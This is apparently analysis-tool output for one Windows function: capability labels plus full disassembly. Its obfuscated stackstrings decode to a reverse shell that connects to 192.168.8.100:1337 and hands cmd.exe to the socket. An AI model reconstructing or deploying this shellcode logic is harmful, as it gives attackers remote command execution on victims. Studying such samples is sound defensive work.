Function at 0x140001080
Capabilities:
Contain obfuscated stackstrings
Convert ip address from string
Link many functions at runtime
Resolve dns

Disassembly:
push rbp
push rdi
lea rbp, [rsp - 0x2f8]
sub rsp, 0x3f8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
lea rcx, [rbp + 0x220]
mov dword [rbp + 0x220], 0x5f327357
mov dword [rbp + 0x224], 0x642e3233
mov word [rbp + 0x228], 0x6c6c
mov byte [rbp + 0x22a], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
jne 0x140001127
movdqa xmm0, xmmword [0x1400032f0]
lea rdx, [rbp + 0x1e8]
lea rcx, [0x1400032b0]
mov dword [rbp + 0x1f8], 0x335f3273
movdqu xmmword [rbp + 0x1e8], xmm0
mov dword [rbp + 0x1fc], 0x6c642e32
mov word [rbp + 0x200], 0xa6c
mov byte [rbp + 0x202], al
call fcn.140001010
jmp 0x140001556
mov qword [rsp + 0x420], r12
lea rdx, [rbp + 0x230]
mov qword [rsp + 0x3f0], r13
mov rcx, rdi
mov qword [rsp + 0x3e8], r14
mov qword [rsp + 0x3e0], r15
mov dword [rbp + 0x230], 0x53415357
mov dword [rbp + 0x234], 0x74726174
mov word [rbp + 0x238], 0x7075
mov byte [rbp + 0x23a], 0
mov dword [rbp + 0x240], 0x53415357
mov dword [rbp + 0x244], 0x656b636f
mov word [rbp + 0x248], reloc.KERNEL32.dll_TerminateProcess
mov byte [rbp + 0x24a], 0
mov dword [rbp + 0x250], 0x43415357
mov dword [rbp + 0x254], 0x656e6e6f
mov word [rbp + 0x258], 0x7463
mov byte [rbp + 0x25a], 0
mov dword [rbp + 0x260], 0x43415357
mov dword [rbp + 0x264], 0x6e61656c
mov word [rbp + 0x268], 0x7075
mov byte [rbp + 0x26a], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x240]
mov rcx, rdi
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x250]
mov rcx, rdi
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x260]
mov rcx, rdi
mov r13, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test r12, r12
je 0x1400016ea
test r15, r15
je 0x1400016ea
test r13, r13
je 0x1400016ea
test rax, rax
je 0x1400016ea
mov qword [rsp + 0x410], rbx
lea rcx, [rbp + 0x290]
mov qword [rsp + 0x418], rsi
mov dword [rbp + 0x290], 0x6e72654b
mov dword [rbp + 0x294], 0x32336c65
mov dword [rbp + 0x298], 0x6c6c642e
mov byte [rbp + 0x29c], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x2b0]
mov dword [rbp + 0x2b0], 0x61657243
mov rcx, rax
mov dword [rbp + 0x2b4], 0x72506574
mov rbx, rax
mov dword [rbp + 0x2b8], 0x7365636f
mov word [rbp + 0x2bc], 0x5773
mov byte [rbp + 0x2be], 0
mov dword [rbp + 0x270], 0x65657246
mov dword [rbp + 0x274], 0x7262694c
mov dword [rbp + 0x278], 0x797261
mov dword [rbp + 0x280], 0x736f6c43
mov dword [rbp + 0x284], 0x6e614865
mov dword [rbp + 0x288], 0x656c64
mov dword [rbp + 0x2a0], 0x5a6c7452
mov dword [rbp + 0x2a4], 0x4d6f7265
mov dword [rbp + 0x2a8], 0x726f6d65
mov word [rbp + 0x2ac], 0x79
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x270]
mov rcx, rbx
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x280]
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x2a0]
mov rcx, rbx
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [rsp + 0x50], 0
mov qword [rsp + 0x60], rax
je 0x1400016a0
test rsi, rsi
je 0x1400016a0
cmp qword [rsp + 0x58], 0
je 0x1400016a0
test rax, rax
je 0x1400016a0
mov ecx, 0x202
lea rdx, [rbp + 0x40]
call r12
test eax, eax
je 0x1400013e5
movdqa xmm0, xmmword [0x140003320]
lea rcx, [rbp + 0x1e8]
movdqa xmm1, xmmword [0x140003300]
mov edx, eax
movdqu xmmword [rbp + 0x1e8], xmm0
mov word [rbp + 0x208], 0xa
movdqu xmmword [rbp + 0x1f8], xmm1
call fcn.140001010
jmp 0x140001521
xor r12d, r12d
xor r9d, r9d
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
lea edx, [r12 + 1]
lea ecx, [rdx + 1]
lea r8d, [r12 + 6]
call r15
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000144e
movdqa xmm0, xmmword [0x140003310]
movdqa xmm1, xmmword [str._with_error:__d_ned_with_error:__Failed_to_load_Wd_with_error:__dWSASocket_failedWSAStartup_faileWSAConnect_failegetaddrinfo_failnction_addressesFailed_to_get_fu_]
movdqu xmmword [rbp + 0x1e8], xmm0
mov byte [rbp + 0x208], r12b
movdqu xmmword [rbp + 0x1f8], xmm1
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rbp + 0x1e8]
call fcn.140001010
jmp 0x14000151e
xorps xmm0, xmm0
mov dword [rbp + 0x10], r12d
xorps xmm1, xmm1
mov dword [rbp + 0x18], 1
mov r15d, 2
mov dword [rbp + 0x1c], 6
lea r9, [rsp + 0x68]
mov dword [rbp + 0x14], r15d
lea r8, [rbp + 0x10]
mov dword [rbp + 0x210], 0x2e323931
lea rdx, [rbp + 0x1e0]
mov dword [rbp + 0x214], 0x2e383631
lea rcx, [rbp + 0x210]
mov dword [rbp + 0x218], 0x30312e38
movdqu xmmword [rbp + 0x20], xmm0
mov word [rbp + 0x21c], 0x30
movdqu xmmword [rbp + 0x30], xmm1
mov dword [rbp + 0x1e0], 0x37333331
mov byte [rbp + 0x1e4], r12b
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x14000156f
movdqa xmm0, xmmword [0x140003340]
lea rcx, [rbp + 0x1e8]
movdqa xmm1, xmmword [0x1400032e0]
mov edx, eax
movdqu xmmword [rbp + 0x1e8], xmm0
mov word [rbp + 0x208], 0xa64
movdqu xmmword [rbp + 0x1f8], xmm1
mov byte [rbp + 0x20a], r12b
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call r14
mov rcx, rdi
call rsi
mov rsi, qword [rsp + 0x418]
mov rbx, qword [rsp + 0x410]
mov r12, qword [rsp + 0x420]
mov r13, qword [rsp + 0x3f0]
mov r14, qword [rsp + 0x3e8]
mov r15, qword [rsp + 0x3e0]
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.140001750
add rsp, 0x3f8
pop rdi
pop rbp
ret
lea rcx, [rbp + 0x1e0]
mov word [rbp], r15w
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rbp + 4]
mov ecx, r15d
lea rdx, [rbp + 0x210]
mov word [rbp + 2], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
lea rdx, [rbp]
mov rcx, rbx
mov qword [rsp + 0x20], r12
lea r8d, [r9 + 0x10]
call r13
test eax, eax
je 0x140001602
movdqa xmm0, xmmword [0x140003330]
movdqa xmm1, xmmword [0x140003300]
movdqu xmmword [rbp + 0x1e8], xmm0
mov word [rbp + 0x208], 0xa
movdqu xmmword [rbp + 0x1f8], xmm1
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rbp + 0x1e8]
jmp 0x140001510
mov edx, 0x68
lea rcx, [rbp - 0x70]
call qword [rsp + 0x60]
movups xmm0, xmmword [str.cmd.exe]
lea rax, [rsp + 0x70]
mov dword [rbp - 0x70], 0x68
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x2c0]
lea rax, [rbp - 0x70]
mov dword [rbp - 0x34], 0x101
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], r12
xor r8d, r8d
mov qword [rsp + 0x30], r12
xor ecx, ecx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov qword [rbp - 0x10], rbx
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x20], rbx
movups xmmword [rbp + 0x2c0], xmm0
call qword [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call r14
mov rcx, rdi
call rsi
mov rcx, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x58]
call rbx
mov rcx, qword [rsp + 0x78]
call rbx
jmp 0x140001526
movdqa xmm0, xmmword [0x140003360]
lea rdx, [rbp + 0x1e8]
movdqa xmm1, xmmword [0x140003350]
lea rcx, [0x1400032b0]
movdqu xmmword [rbp + 0x1e8], xmm0
mov word [rbp + 0x208], 0xa
movdqu xmmword [rbp + 0x1f8], xmm1
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x140001526
movdqa xmm0, xmmword [0x140003360]
lea rdx, [rbp + 0x1e8]
movdqa xmm1, xmmword [0x140003350]
lea rcx, [0x1400032b0]
movdqu xmmword [rbp + 0x1e8], xmm0
mov word [rbp + 0x208], 0xa
movdqu xmmword [rbp + 0x1f8], xmm1
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x140001536